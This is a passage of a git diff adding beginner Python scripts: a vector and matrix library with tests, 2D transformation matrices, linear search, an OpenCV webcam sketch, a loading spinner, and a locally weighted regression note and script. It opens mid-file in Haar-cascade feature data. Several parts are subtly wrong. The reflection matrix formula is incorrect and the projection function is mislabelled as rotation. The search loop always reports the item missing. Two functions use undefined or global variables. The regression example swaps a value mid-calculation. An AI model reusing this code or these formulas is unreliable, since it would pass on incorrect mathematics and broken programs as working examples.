10 3. + <_> + + <_> + 1 10 6 9 -1. + <_> + 1 13 6 3 3. + <_> + + <_> + 6 9 16 6 -1. + <_> + 14 9 8 3 2. + <_> + 6 12 8 3 2. + <_> + + <_> + 1 8 9 6 -1. + <_> + 1 10 9 2 3. + <_> + + <_> + 7 7 16 6 -1. + <_> + 7 9 16 2 3. + <_> + + <_> + 0 0 18 3 -1. + <_> + 0 1 18 1 3. + <_> + + <_> + 10 0 6 9 -1. + <_> + 12 0 2 9 3. + <_> + + <_> + 9 5 6 6 -1. + <_> + 12 5 3 6 2. + <_> + + <_> + 10 6 4 18 -1. + <_> + 12 6 2 9 2. + <_> + 10 15 2 9 2. + <_> + + <_> + 8 0 6 9 -1. + <_> + 10 0 2 9 3. + <_> + + <_> + 9 1 6 9 -1. + <_> + 9 4 6 3 3. + <_> + + <_> + 1 0 18 9 -1. + <_> + 1 3 18 3 3. + <_> + + <_> + 0 3 24 3 -1. + <_> + 0 4 24 1 3. + <_> + + <_> + 6 14 9 4 -1. + <_> + 6 16 9 2 2. + <_> + + <_> + 8 9 8 10 -1. + <_> + 12 9 4 5 2. + <_> + 8 14 4 5 2. + <_> + + <_> + 5 2 13 9 -1. + <_> + 5 5 13 3 3. + <_> + + <_> + 4 4 16 9 -1. + <_> + 4 7 16 3 3. + <_> + + <_> + 4 4 14 9 -1. + <_> + 4 7 14 3 3. + <_> + + <_> + 8 5 9 6 -1. + <_> + 8 7 9 2 3. + <_> + + <_> + 1 7 16 6 -1. + <_> + 1 9 16 2 3. + <_> + + <_> + 10 5 13 9 -1. + <_> + 10 8 13 3 3. + <_> + + <_> + 1 5 13 9 -1. + <_> + 1 8 13 3 3. + <_> + + <_> + 0 4 24 6 -1. + <_> + 12 4 12 3 2. + <_> + 0 7 12 3 2. + <_> + + <_> + 1 14 10 9 -1. + <_> + 1 17 10 3 3. + <_> + + <_> + 5 17 18 3 -1. + <_> + 5 18 18 1 3. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 9 17 9 6 -1. + <_> + 9 19 9 2 3. + <_> + + <_> + 1 20 22 4 -1. + <_> + 1 20 11 2 2. + <_> + 12 22 11 2 2. + <_> + + <_> + 8 14 8 6 -1. + <_> + 8 17 8 3 2. + <_> + + <_> + 8 6 8 15 -1. + <_> + 8 11 8 5 3. + <_> + + <_> + 5 4 18 3 -1. + <_> + 5 5 18 1 3. + <_> + + <_> + 9 3 5 10 -1. + <_> + 9 8 5 5 2. + <_> + + <_> + 6 8 12 3 -1. + <_> + 6 8 6 3 2. + <_> + + <_> + 2 6 18 6 -1. + <_> + 2 6 9 3 2. + <_> + 11 9 9 3 2. + <_> + + <_> + 10 6 4 18 -1. + <_> + 12 6 2 9 2. + <_> + 10 15 2 9 2. + <_> + + <_> + 7 5 6 6 -1. + <_> + 10 5 3 6 2. + <_> + + <_> + 14 5 2 18 -1. + <_> + 14 14 2 9 2. + <_> + + <_> + 8 5 2 18 -1. + <_> + 8 14 2 9 2. + <_> + + <_> + 9 2 10 6 -1. + <_> + 9 2 5 6 2. + <_> + + <_> + 3 1 18 12 -1. + <_> + 12 1 9 12 2. + <_> + + <_> + 5 2 17 22 -1. + <_> + 5 13 17 11 2. + <_> + + <_> + 4 0 12 6 -1. + <_> + 4 2 12 2 3. + <_> + + <_> + 6 9 16 6 -1. + <_> + 14 9 8 3 2. + <_> + 6 12 8 3 2. + <_> + + <_> + 9 0 5 18 -1. + <_> + 9 9 5 9 2. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 9 1 6 12 -1. + <_> + 11 1 2 12 3. + <_> + + <_> + 5 9 13 4 -1. + <_> + 5 11 13 2 2. + <_> + + <_> + 5 8 19 3 -1. + <_> + 5 9 19 1 3. + <_> + + <_> + 9 9 6 8 -1. + <_> + 9 13 6 4 2. + <_> + + <_> + 11 9 4 15 -1. + <_> + 11 14 4 5 3. + <_> + + <_> + 2 0 6 14 -1. + <_> + 2 0 3 7 2. + <_> + 5 7 3 7 2. + <_> + + <_> + 15 1 6 14 -1. + <_> + 18 1 3 7 2. + <_> + 15 8 3 7 2. + <_> + + <_> + 3 1 6 14 -1. + <_> + 3 1 3 7 2. + <_> + 6 8 3 7 2. + <_> + + <_> + 3 20 18 4 -1. + <_> + 12 20 9 2 2. + <_> + 3 22 9 2 2. + <_> + + <_> + 5 0 4 20 -1. + <_> + 5 0 2 10 2. + <_> + 7 10 2 10 2. + <_> + + <_> + 16 8 8 12 -1. + <_> + 20 8 4 6 2. + <_> + 16 14 4 6 2. + <_> + + <_> + 0 8 8 12 -1. + <_> + 0 8 4 6 2. + <_> + 4 14 4 6 2. + <_> + + <_> + 13 13 10 8 -1. + <_> + 18 13 5 4 2. + <_> + 13 17 5 4 2. + <_> + + <_> + 1 13 10 8 -1. + <_> + 1 13 5 4 2. + <_> + 6 17 5 4 2. + <_> + + <_> + 15 8 4 15 -1. + <_> + 15 13 4 5 3. + <_> + + <_> + 5 8 4 15 -1. + <_> + 5 13 4 5 3. + <_> + + <_> + 6 11 16 12 -1. + <_> + 6 15 16 4 3. + <_> + + <_> + 2 11 16 12 -1. + <_> + 2 15 16 4 3. + <_> + + <_> + 14 12 7 9 -1. + <_> + 14 15 7 3 3. + <_> + + <_> + 10 1 3 21 -1. + <_> + 10 8 3 7 3. + <_> + + <_> + 13 11 9 4 -1. + <_> + 13 13 9 2 2. + <_> + + <_> + 3 10 17 9 -1. + <_> + 3 13 17 3 3. + <_> + + <_> + 13 8 8 15 -1. + <_> + 13 13 8 5 3. + <_> + + <_> + 3 8 8 15 -1. + <_> + 3 13 8 5 3. + <_> + + <_> + 11 14 10 8 -1. + <_> + 16 14 5 4 2. + <_> + 11 18 5 4 2. + <_> + + <_> + 0 18 22 6 -1. + <_> + 0 18 11 3 2. + <_> + 11 21 11 3 2. + <_> + + <_> + 0 16 24 4 -1. + <_> + 0 16 12 4 2. + <_> + + <_> + 6 20 12 3 -1. + <_> + 12 20 6 3 2. + <_> + + <_> + 18 12 6 12 -1. + <_> + 21 12 3 6 2. + <_> + 18 18 3 6 2. + <_> + + <_> + 0 12 6 12 -1. + <_> + 0 12 3 6 2. + <_> + 3 18 3 6 2. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 1 6 22 10 -1. + <_> + 1 6 11 5 2. + <_> + 12 11 11 5 2. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 0 18 18 2 -1. + <_> + 0 19 18 1 2. + <_> + + <_> + 3 15 19 3 -1. + <_> + 3 16 19 1 3. + <_> + + <_> + 0 13 18 3 -1. + <_> + 0 14 18 1 3. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 0 17 9 6 -1. + <_> + 0 19 9 2 3. + <_> + + <_> + 12 17 9 6 -1. + <_> + 12 19 9 2 3. + <_> + + <_> + 3 17 9 6 -1. + <_> + 3 19 9 2 3. + <_> + + <_> + 16 2 3 20 -1. + <_> + 17 2 1 20 3. + <_> + + <_> + 0 13 24 8 -1. + <_> + 0 17 24 4 2. + <_> + + <_> + 9 1 6 22 -1. + <_> + 12 1 3 11 2. + <_> + 9 12 3 11 2. + diff --git a/linear search.py b/linear search.py new file mode 100644 index 00000000000..b1bda494a43 --- /dev/null +++ b/linear search.py @@ -0,0 +1,13 @@ +# Author : ShankRoy + + +def linearsearch(arr, x): + for i in range(len(arr)): + if arr[i] == x: + return i + return -1 + + +arr = ["t", "u", "t", "o", "r", "i", "a", "l"] +x = "a" +print("element found at index " + str(linearsearch(arr, x))) diff --git a/linear-algebra-python/README.md b/linear-algebra-python/README.md new file mode 100644 index 00000000000..96a12c510a8 --- /dev/null +++ b/linear-algebra-python/README.md @@ -0,0 +1,77 @@ +# Linear algebra library for Python + +This module contains some useful classes and functions for dealing with linear algebra in python 2. + +--- + +## Overview + +- class Vector + - This class represents a vector of arbitrary size and operations on it. + + **Overview about the methods:** + + - constructor(components : list) : init the vector + - set(components : list) : changes the vector components + - __str__() : toString method + - component(i : int): gets the i-th component (start with 0) + - size() : gets the size of the vector (number of components) + - euclidLength() : returns the euclidean length of the vector. + - operator + : vector addition + - operator - : vector subtraction + - operator * : scalar multiplication and dot product + - operator == : returns true if the vectors are equal otherwise false. + - copy() : copies this vector and returns it. + - changeComponent(pos,value) : changes the specified component. + - norm() : normalizes this vector and returns it. + +- function zeroVector(dimension) + - returns a zero vector of 'dimension' +- function unitBasisVector(dimension,pos) + - returns a unit basis vector with a One at index 'pos' (indexing at 0) +- function axpy(scalar,vector1,vector2) + - computes the axpy operation +- function randomVector(N,a,b) + - returns a random vector of size N, with random integer components between 'a' and 'b'. +- class Matrix + - This class represents a matrix of arbitrary size and operations on it. + + **Overview about the methods:** + + - __str__() : returns a string representation + - operator * : implements the matrix vector multiplication + implements the matrix-scalar multiplication. + - changeComponent(x,y,value) : changes the specified component. + - component(x,y) : returns the specified component. + - width() : returns the width of the matrix + - height() : returns the height of the matrix + - operator + : implements the matrix-addition. + - operator - : implements the matrix-subtraction + - operator == : returns true if the matrices are equal otherwise false. +- function squareZeroMatrix(N) + - returns a square zero-matrix of dimension NxN +- function randomMatrix(W,H,a,b) + - returns a random matrix WxH with integer components between 'a' and 'b' +--- + +## Documentation + +The module is well documented. You can use the python in-built ```help(...)``` function. +For instance: ```help(Vector)``` gives you all information about the Vector-class. +Or ```help(unitBasisVector)``` gives you all information you need about the +global function ```unitBasisVector(...)```. If you need information about a certain +method you type ```help(CLASSNAME.METHODNAME)```. + +--- + +## Usage + +You will find the module in the **src** directory called ```lib.py```. You need to +import this module in your project. Alternatively you can also use the file ```lib.pyc``` in python-bytecode. + +--- + +## Tests + +In the **src** directory you can also find the test-suite, its called ```tests.py```. +The test-suite uses the built-in python-test-framework **unittest**. diff --git a/linear-algebra-python/src/Transformations2D.py b/linear-algebra-python/src/Transformations2D.py new file mode 100644 index 00000000000..58eb681adae --- /dev/null +++ b/linear-algebra-python/src/Transformations2D.py @@ -0,0 +1,45 @@ +# 2D Transformations are regularly used in Linear Algebra. + +# I have added the codes for reflection, projection, scaling and rotation matrices. + +import numpy as np + + +def scaling(scaling_factor): + return scaling_factor * (np.identity(2)) # This returns a scaling matrix + + +def rotation(angle): + arr = np.empty([2, 2]) + c = np.cos(angle) + s = np.sin(angle) + arr[0][0] = c + arr[0][1] = -s + arr[1][0] = s + arr[1][1] = c + + return arr # This returns a rotation matrix + + +def projection(angle): + arr = np.empty([2, 2]) + c = np.cos(angle) + s = np.sin(angle) + arr[0][0] = c * c + arr[0][1] = c * s + arr[1][0] = c * s + arr[1][1] = s * s + + return arr # This returns a rotation matrix + + +def reflection(angle): + arr = np.empty([2, 2]) + c = np.cos(angle) + s = np.sin(angle) + arr[0][0] = (2 * c) - 1 + arr[0][1] = 2 * s * c + arr[1][0] = 2 * s * c + arr[1][1] = (2 * s) - 1 + + return arr # This returns a reflection matrix diff --git a/linear-algebra-python/src/lib.py b/linear-algebra-python/src/lib.py new file mode 100644 index 00000000000..a58651dbc55 --- /dev/null +++ b/linear-algebra-python/src/lib.py @@ -0,0 +1,427 @@ +# -*- coding: utf-8 -*- +""" +Created on Mon Feb 26 14:29:11 2018 + +@author: Christian Bender +@license: MIT-license + +This module contains some useful classes and functions for dealing +with linear algebra in python. + +Overview: + +- class Vector +- function zeroVector(dimension) +- function unitBasisVector(dimension,pos) +- function axpy(scalar,vector1,vector2) +- function randomVector(N,a,b) +- class Matrix +- function squareZeroMatrix(N) +- function randomMatrix(W,H,a,b) +""" + +import math +import random + + +class Vector(object): + """ + This class represents a vector of arbitray size. + You need to give the vector components. + + Overview about the methods: + + constructor(components : list) : init the vector + set(components : list) : changes the vector components. + __str__() : toString method + component(i : int): gets the i-th component (start by 0) + size() : gets the size of the vector (number of components) + euclidLength() : returns the eulidean length of the vector. + operator + : vector addition + operator - : vector subtraction + operator * : scalar multiplication and dot product + copy() : copies this vector and returns it. + changeComponent(pos,value) : changes the specified component. + TODO: compare-operator + """ + + def __init__(self, components): + """ + input: components or nothing + simple constructor for init the vector + """ + self.__components = components + + def set(self, components): + """ + input: new components + changes the components of the vector. + replace the components with newer one. + """ + if len(components) > 0: + self.__components = components + else: + raise Exception("please give any vector") + + def __str__(self): + """ + returns a string representation of the vector + """ + ans = "(" + length = len(self.__components) + for i in range(length): + if i != length - 1: + ans += str(self.__components[i]) + "," + else: + ans += str(self.__components[i]) + ")" + if len(ans) == 1: + ans += ")" + return ans + + def component(self, i): + """ + input: index (start at 0) + output: the i-th component of the vector. + """ + if i < len(self.__components) and i >= 0: + return self.__components[i] + else: + raise Exception("index out of range") + + def size(self): + """ + returns the size of the vector + """ + return len(self.__components) + + def eulidLength(self): + """ + returns the eulidean length of the vector + """ + summe = 0 + for c in self.__components: + summe += c**2 + return math.sqrt(summe) + + def __add__(self, other): + """ + input: other vector + assumes: other vector has the same size + returns a new vector that represents the sum. + """ + size = self.size() + result = [] + if size == other.size(): + for i in range(size): + result.append(self.__components[i] + other.component(i)) + else: + raise Exception("must have the same size") + return Vector(result) + + def __sub__(self, other): + """ + input: other vector + assumes: other vector has the same size + returns a new vector that represents the differenz. + """ + size = self.size() + result = [] + if size == other.size(): + for i in range(size): + result.append(self.__components[i] - other.component(i)) + else: # error case + raise Exception("must have the same size") + return Vector(result) + + def __mul__(self, other): + """ + mul implements the scalar multiplication + and the dot-product + """ + ans = [] + if isinstance(other, float) or isinstance(other, int): + for c in self.__components: + ans.append(c * other) + elif isinstance(other, Vector) and (self.size() == other.size()): + size = self.size() + summe = 0 + for i in range(size): + summe += self.__components[i] * other.component(i) + return summe + else: # error case + raise Exception("invalide operand!") + return Vector(ans) + + def copy(self): + """ + copies this vector and returns it. + """ + components = [x for x in self.__components] + return Vector(components) + + def changeComponent(self, pos, value): + """ + input: an index (pos) and a value + changes the specified component (pos) with the + 'value' + """ + # precondition + assert pos >= 0 and pos < len(self.__components) + self.__components[pos] = value + + def norm(self): + """ + normalizes this vector and returns it. + """ + eLength = self.eulidLength() + quotient = 1.0 / eLength + for i in range(len(self.__components)): + self.__components[i] = self.__components[i] * quotient + return self + + def __eq__(self, other): + """ + returns true if the vectors are equal otherwise false. + """ + ans = True + SIZE = self.size() + if SIZE == other.size(): + for i in range(SIZE): + if self.__components[i] != other.component(i): + ans = False + break + else: + ans = False + return ans + + +def zeroVector(dimension): + """ + returns a zero-vector of size 'dimension' + """ + # precondition + assert isinstance(dimension, int) + ans = [] + for i in range(dimension): + ans.append(0) + return Vector(ans) + + +def unitBasisVector(dimension, pos): + """ + returns a unit basis vector with a One + at index 'pos' (indexing at 0) + """ + # precondition + assert isinstance(dimension, int) and (isinstance(pos, int)) + ans = [] + for i in range(dimension): + if i != pos: + ans.append(0) + else: + ans.append(1) + return Vector(ans) + + +def axpy(scalar, x, y): + """ + input: a 'scalar' and two vectors 'x' and 'y' + output: a vector + computes the axpy operation + """ + # precondition + assert ( + isinstance(x, Vector) + and (isinstance(y, Vector)) + and (isinstance(scalar, int) or isinstance(scalar, float)) + ) + return x * scalar + y + + +def randomVector(N, a, b): + """ + input: size (N) of the vector. + random range (a,b) + output: returns a random vector of size N, with + random integer components between 'a' and 'b'. + """ + ans = zeroVector(N) + random.seed(None) + for i in range(N): + ans.changeComponent(i, random.randint(a, b)) + return ans + + +class Matrix(object): + """ + class: Matrix + This class represents a arbitrary matrix. + + Overview about the methods: + + __str__() : returns a string representation + operator * : implements the matrix vector multiplication + implements the matrix-scalar multiplication. + changeComponent(x,y,value) : changes the specified component. + component(x,y) : returns the specified component. + width() : returns the width of the matrix + height() : returns the height of the matrix + operator + : implements the matrix-addition. + operator - _ implements the matrix-subtraction + """ + + def __init__(self, matrix, w, h): + """ + simple constructor for initialzes + the matrix with components. + """ + self.__matrix = matrix + self.__width = w + self.__height = h + + def __str__(self): + """ + returns a string representation of this + matrix. + """ + ans = "" + for i in range(self.__height): + ans += "|" + for j in range(self.__width): + if j < self.__width - 1: + ans += str(self.__matrix[i][j]) + "," + else: + ans += str(self.__matrix[i][j]) + "|\n" + return ans + + def changeComponent(self, x, y, value): + """ + changes the x-y component of this matrix + """ + if x >= 0 and x < self.__height and y >= 0 and y < self.__width: + self.__matrix[x][y] = value + else: + raise Exception("changeComponent: indices out of bounds") + + def component(self, x, y): + """ + returns the specified (x,y) component + """ + if x >= 0 and x < self.__height and y >= 0 and y < self.__width: + return self.__matrix[x][y] + else: + raise Exception("changeComponent: indices out of bounds") + + def width(self): + """ + getter for the width + """ + return self.__width + + def height(self): + """ + getter for the height + """ + return self.__height + + def __mul__(self, other): + """ + implements the matrix-vector multiplication. + implements the matrix-scalar multiplication + """ + if isinstance(other, Vector): # vector-matrix + if other.size() == self.__width: + ans = zeroVector(self.__height) + for i in range(self.__height): + summe = 0 + for j in range(self.__width): + summe += other.component(j) * self.__matrix[i][j] + ans.changeComponent(i, summe) + summe = 0 + return ans + else: + raise Exception( + "vector must have the same size as the " + + "number of columns of the matrix!" + ) + elif isinstance(other, int) or isinstance(other, float): # matrix-scalar + matrix = [] + for i in range(self.__height): + row = [] + for j in range(self.__width): + row.append(self.__matrix[i][j] * other) + matrix.append(row) + return Matrix(matrix, self.__width, self.__height) + + def __add__(self, other): + """ + implements the matrix-addition. + """ + if self.__width == other.width() and self.__height == other.height(): + matrix = [] + for i in range(self.__height): + row = [] + for j in range(self.__width): + row.append(self.__matrix[i][j] + other.component(i, j)) + matrix.append(row) + return Matrix(matrix, self.__width, self.__height) + else: + raise Exception("matrix must have the same dimension!") + + def __sub__(self, other): + """ + implements the matrix-subtraction. + """ + if self.__width == other.width() and self.__height == other.height(): + matrix = [] + for i in range(self.__height): + row = [] + for j in range(self.__width): + row.append(self.__matrix[i][j] - other.component(i, j)) + matrix.append(row) + return Matrix(matrix, self.__width, self.__height) + else: + raise Exception("matrix must have the same dimension!") + + def __eq__(self, other): + """ + returns true if the matrices are equal otherwise false. + """ + ans = True + if self.__width == other.width() and self.__height == other.height(): + for i in range(self.__height): + for j in range(self.__width): + if self.__matrix[i][j] != other.component(i, j): + ans = False + break + else: + ans = False + return ans + + +def squareZeroMatrix(N): + """ + returns a square zero-matrix of dimension NxN + """ + ans = [] + for i in range(N): + row = [] + for j in range(N): + row.append(0) + ans.append(row) + return Matrix(ans, N, N) + + +def randomMatrix(W, H, a, b): + """ + returns a random matrix WxH with integer components + between 'a' and 'b' + """ + matrix = [] + random.seed(None) + for i in range(H): + row = [] + for j in range(W): + row.append(random.randint(a, b)) + matrix.append(row) + return Matrix(matrix, W, H) diff --git a/linear-algebra-python/src/lib.pyc b/linear-algebra-python/src/lib.pyc new file mode 100644 index 00000000000..ea33ba0cbbb Binary files /dev/null and b/linear-algebra-python/src/lib.pyc differ diff --git a/linear-algebra-python/src/tests.py b/linear-algebra-python/src/tests.py new file mode 100644 index 00000000000..38e4a627c2d --- /dev/null +++ b/linear-algebra-python/src/tests.py @@ -0,0 +1,173 @@ +# -*- coding: utf-8 -*- +""" +Created on Mon Feb 26 15:40:07 2018 + +@author: Christian Bender +@license: MIT-license + +This file contains the test-suite for the linear algebra library. +""" + +import math +import unittest + +from lib import * + + +class Test(unittest.TestCase): + def test_component(self): + """ + test for method component + """ + x = Vector([1, 2, 3]) + self.assertEqual(x.component(0), 1) + self.assertEqual(x.component(2), 3) + try: + y = Vector() + self.assertTrue(False) + except: + self.assertTrue(True) + + def test_str(self): + """ + test for toString() method + """ + x = Vector([0, 0, 0, 0, 0, 1]) + self.assertEqual(x.__str__(), "(0,0,0,0,0,1)") + + def test_size(self): + """ + test for size()-method + """ + x = Vector([1, 2, 3, 4]) + self.assertEqual(x.size(), 4) + + def test_euclidLength(self): + """ + test for the eulidean length + """ + x = Vector([1, 2]) + self.assertAlmostEqual(x.eulidLength(), 2.236, 3) + + def test_add(self): + """ + test for + operator + """ + x = Vector([1, 2, 3]) + y = Vector([1, 1, 1]) + self.assertEqual((x + y).component(0), 2) + self.assertEqual((x + y).component(1), 3) + self.assertEqual((x + y).component(2), 4) + + def test_sub(self): + """ + test for - operator + """ + x = Vector([1, 2, 3]) + y = Vector([1, 1, 1]) + self.assertEqual((x - y).component(0), 0) + self.assertEqual((x - y).component(1), 1) + self.assertEqual((x - y).component(2), 2) + + def test_mul(self): + """ + test for * operator + """ + x = Vector([1, 2, 3]) + a = Vector([2, -1, 4]) # for test of dot-product + b = Vector([1, -2, -1]) + self.assertEqual((x * 3.0).__str__(), "(3.0,6.0,9.0)") + self.assertEqual((a * b), 0) + + def test_zeroVector(self): + """ + test for the global function zeroVector(...) + """ + self.assertTrue(zeroVector(10).__str__().count("0") == 10) + + def test_unitBasisVector(self): + """ + test for the global function unitBasisVector(...) + """ + self.assertEqual(unitBasisVector(3, 1).__str__(), "(0,1,0)") + + def test_axpy(self): + """ + test for the global function axpy(...) (operation) + """ + x = Vector([1, 2, 3]) + y = Vector([1, 0, 1]) + self.assertEqual(axpy(2, x, y).__str__(), "(3,4,7)") + + def test_copy(self): + """ + test for the copy()-method + """ + x = Vector([1, 0, 0, 0, 0, 0]) + y = x.copy() + self.assertEqual(x.__str__(), y.__str__()) + + def test_changeComponent(self): + """ + test for the changeComponent(...)-method + """ + x = Vector([1, 0, 0]) + x.changeComponent(0, 0) + x.changeComponent(1, 1) + self.assertEqual(x.__str__(), "(0,1,0)") + + def test_str_matrix(self): + A = Matrix([[1, 2, 3], [2, 4, 5], [6, 7, 8]], 3, 3) + self.assertEqual("|1,2,3|\n|2,4,5|\n|6,7,8|\n", A.__str__()) + + def test__mul__matrix(self): + A = Matrix([[1, 2, 3], [4, 5, 6], [7, 8, 9]], 3, 3) + x = Vector([1, 2, 3]) + self.assertEqual("(14,32,50)", (A * x).__str__()) + self.assertEqual("|2,4,6|\n|8,10,12|\n|14,16,18|\n", (A * 2).__str__()) + + def test_changeComponent_matrix(self): + A = Matrix([[1, 2, 3], [2, 4, 5], [6, 7, 8]], 3, 3) + A.changeComponent(0, 2, 5) + self.assertEqual("|1,2,5|\n|2,4,5|\n|6,7,8|\n", A.__str__()) + + def test_component_matrix(self): + A = Matrix([[1, 2, 3], [2, 4, 5], [6, 7, 8]], 3, 3) + self.assertEqual(7, A.component(2, 1), 0.01) + + def test__add__matrix(self): + A = Matrix([[1, 2, 3], [2, 4, 5], [6, 7, 8]], 3, 3) + B = Matrix([[1, 2, 7], [2, 4, 5], [6, 7, 10]], 3, 3) + self.assertEqual("|2,4,10|\n|4,8,10|\n|12,14,18|\n", (A + B).__str__()) + + def test__sub__matrix(self): + A = Matrix([[1, 2, 3], [2, 4, 5], [6, 7, 8]], 3, 3) + B = Matrix([[1, 2, 7], [2, 4, 5], [6, 7, 10]], 3, 3) + self.assertEqual("|0,0,-4|\n|0,0,0|\n|0,0,-2|\n", (A - B).__str__()) + + def test_squareZeroMatrix(self): + self.assertEqual( + "|0,0,0,0,0|\n|0,0,0,0,0|\n|0,0,0,0,0|\n|0,0,0,0,0|" + "\n|0,0,0,0,0|\n", + squareZeroMatrix(5).__str__(), + ) + + def test_norm_vector(self): + x = Vector([1, 2, 3]) + self.assertAlmostEqual(x.norm().component(0), (1 / math.sqrt(14)), 0.001) + self.assertAlmostEqual(x.norm().component(1), math.sqrt((2.0 / 7)), 0.001) + + def test__eq__vector(self): + x = Vector([1, 2, 3]) + y = Vector([1, 0, 1]) + self.assertTrue(x == x) + self.assertFalse(x == y) + + def test__eq__matrix(self): + A = Matrix([[1, 2, 3], [2, 4, 5], [6, 7, 8]], 3, 3) + B = Matrix([[1, 2, 7], [2, 4, 5], [6, 7, 10]], 3, 3) + self.assertTrue(A == A) + self.assertFalse(A == B) + + +if __name__ == "__main__": + unittest.main() diff --git a/linear_search.py b/linear_search.py new file mode 100644 index 00000000000..0a005cbcfe2 --- /dev/null +++ b/linear_search.py @@ -0,0 +1,11 @@ +num = int(input("Enter size of list: \t")) +list = [int(input("Enter any number: \t")) for _ in range(num)] + +x = int(input("\nEnter number to search: \t")) + +for position, number in enumerate(list): + if number == x: + print(f"\n{x} found at position {position}") +else: + print(f"list: {list}") + print(f"{x} is not in list") diff --git a/live_sketch.py b/live_sketch.py new file mode 100644 index 00000000000..e4316e19fc5 --- /dev/null +++ b/live_sketch.py @@ -0,0 +1,21 @@ +import cv2 + + +def sketch(image): + img_gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + img_gray_blur = cv2.GaussianBlur(img_gray, (5, 5), 0) + canny_edges = cv2.Canny(img_gray_blur, 10, 70) + ret, mask = cv2.threshold(canny_edges, 70, 255, cv2.THRESH_BINARY_INV) + return mask + + +cap = cv2.VideoCapture(0) + +while True: + ret, frame = cap.read() + cv2.imshow("Our Live Sketcher", sketch(frame)) + if cv2.waitKey(1) == 13: + break + +cap.release() +cv2.destroyAllWindows() diff --git a/loader.py b/loader.py new file mode 100644 index 00000000000..41838271f63 --- /dev/null +++ b/loader.py @@ -0,0 +1,41 @@ +""" +Shaurya Pratap Singh +@shaurya-blip + +Shows loading message while doing something. +""" + +import itertools +import threading +import time +import sys + +# The task is not done right now +done = False + + +def animate(message="loading", endmessage="Done!"): + for c in itertools.cycle(["|", "/", "-", "\\"]): + if done: + break + sys.stdout.write(f"\r {message}" + c) + sys.stdout.flush() + time.sleep(0.1) + sys.stdout.write(f"\r {endmessage} ") + + +t = threading.Thread( + target=lambda: animate(message="installing..", endmessage="Installation is done!!!") +) +t.start() + +# Code which you are running + +""" +program.install() +""" + +time.sleep(10) + +# Then mark done as true and thus it will end the loading screen. +done = True diff --git a/local_weighted_learning/local_weighted_learning.md b/local_weighted_learning/local_weighted_learning.md new file mode 100644 index 00000000000..18bd71e8f05 --- /dev/null +++ b/local_weighted_learning/local_weighted_learning.md @@ -0,0 +1,66 @@ +# Locally Weighted Linear Regression +It is a non-parametric ML algorithm that does not learn on a fixed set of parameters such as **linear regression**. \ +So, here comes a question of what is *linear regression*? \ +**Linear regression** is a supervised learning algorithm used for computing linear relationships between input (X) and output (Y). \ + +### Terminology Involved + +number_of_features(i) = Number of features involved. \ +number_of_training_examples(m) = Number of training examples. \ +output_sequence(y) = Output Sequence. \ +$\theta$ $^T$ x = predicted point. \ +J($\theta$) = COst function of point. + +The steps involved in ordinary linear regression are: + +Training phase: Compute \theta to minimize the cost. \ +J($\theta$) = $\sum_{i=1}^m$ (($\theta$)$^T$ $x^i$ - $y^i$)$^2$ + +Predict output: for given query point x, \ + return: ($\theta$)$^T$ x + +Linear Regression + +This training phase is possible when data points are linear, but there again comes a question can we predict non-linear relationship between x and y ? as shown below + +Non-linear Data +
+
+So, here comes the role of non-parametric algorithm which doesn't compute predictions based on fixed set of params. Rather parameters $\theta$ are computed individually for each query point/data point x. +
+
+While Computing $\theta$ , a higher "preferance" is given to points in the vicinity of x than points farther from x. + +Cost Function J($\theta$) = $\sum_{i=1}^m$ $w^i$ (($\theta$)$^T$ $x^i$ - $y^i$)$^2$ + +$w^i$ is non-negative weight associated to training point $x^i$. \ +$w^i$ is large fr $x^i$'s lying closer to query point $x_i$. \ +$w^i$ is small for $x^i$'s lying farther to query point $x_i$. + +A Typical weight can be computed using \ + +$w^i$ = $\exp$(-$\frac{(x^i-x)(x^i-x)^T}{2\tau^2}$) + +Where $\tau$ is the bandwidth parameter that controls $w^i$ distance from x. + +Let's look at a example : + +Suppose, we had a query point x=5.0 and training points $x^1$=4.9 and $x^2$=5.0 than we can calculate weights as : + +$w^i$ = $\exp$(-$\frac{(x^i-x)(x^i-x)^T}{2\tau^2}$) with $\tau$=0.5 + +$w^1$ = $\exp$(-$\frac{(4.9-5)^2}{2(0.5)^2}$) = 0.9802 + +$w^2$ = $\exp$(-$\frac{(3-5)^2}{2(0.5)^2}$) = 0.000335 + +So, J($\theta$) = 0.9802*($\theta$ $^T$ $x^1$ - $y^1$) + 0.000335*($\theta$ $^T$ $x^2$ - $y^2$) + +So, here by we can conclude that the weight fall exponentially as the distance between x & $x^i$ increases and So, does the contribution of error in prediction for $x^i$ to the cost. + +Steps involved in LWL are : \ +Compute \theta to minimize the cost. +J($\theta$) = $\sum_{i=1}^m$ $w^i$ (($\theta$)$^T$ $x^i$ - $y^i$)$^2$ \ +Predict Output: for given query point x, \ +return : $\theta$ $^T$ x + +LWL diff --git a/local_weighted_learning/local_weighted_learning.py b/local_weighted_learning/local_weighted_learning.py new file mode 100644 index 00000000000..193b82da738 --- /dev/null +++ b/local_weighted_learning/local_weighted_learning.py @@ -0,0 +1,117 @@ +# Required imports to run this file +import matplotlib.pyplot as plt +import numpy as np + + +# weighted matrix +def weighted_matrix(point: np.mat, training_data_x: np.mat, bandwidth: float) -> np.mat: + """ + Calculate the weight for every point in the + data set. It takes training_point , query_point, and tau + Here Tau is not a fixed value it can be varied depends on output. + tau --> bandwidth + xmat -->Training data + point --> the x where we want to make predictions + """ + # m is the number of training samples + m, n = np.shape(training_data_x) + # Initializing weights as identity matrix + weights = np.mat(np.eye((m))) + # calculating weights for all training examples [x(i)'s] + for j in range(m): + diff = point - training_data[j] + weights[j, j] = np.exp(diff * diff.T / (-2.0 * bandwidth**2)) + return weights + + +def local_weight( + point: np.mat, training_data_x: np.mat, training_data_y: np.mat, bandwidth: float +) -> np.mat: + """ + Calculate the local weights using the weight_matrix function on training data. + Return the weighted matrix. + """ + weight = weighted_matrix(point, training_data_x, bandwidth) + W = (training_data.T * (weight * training_data)).I * ( + training_data.T * weight * training_data_y.T + ) + return W + + +def local_weight_regression( + training_data_x: np.mat, training_data_y: np.mat, bandwidth: float +) -> np.mat: + """ + Calculate predictions for each data point on axis. + """ 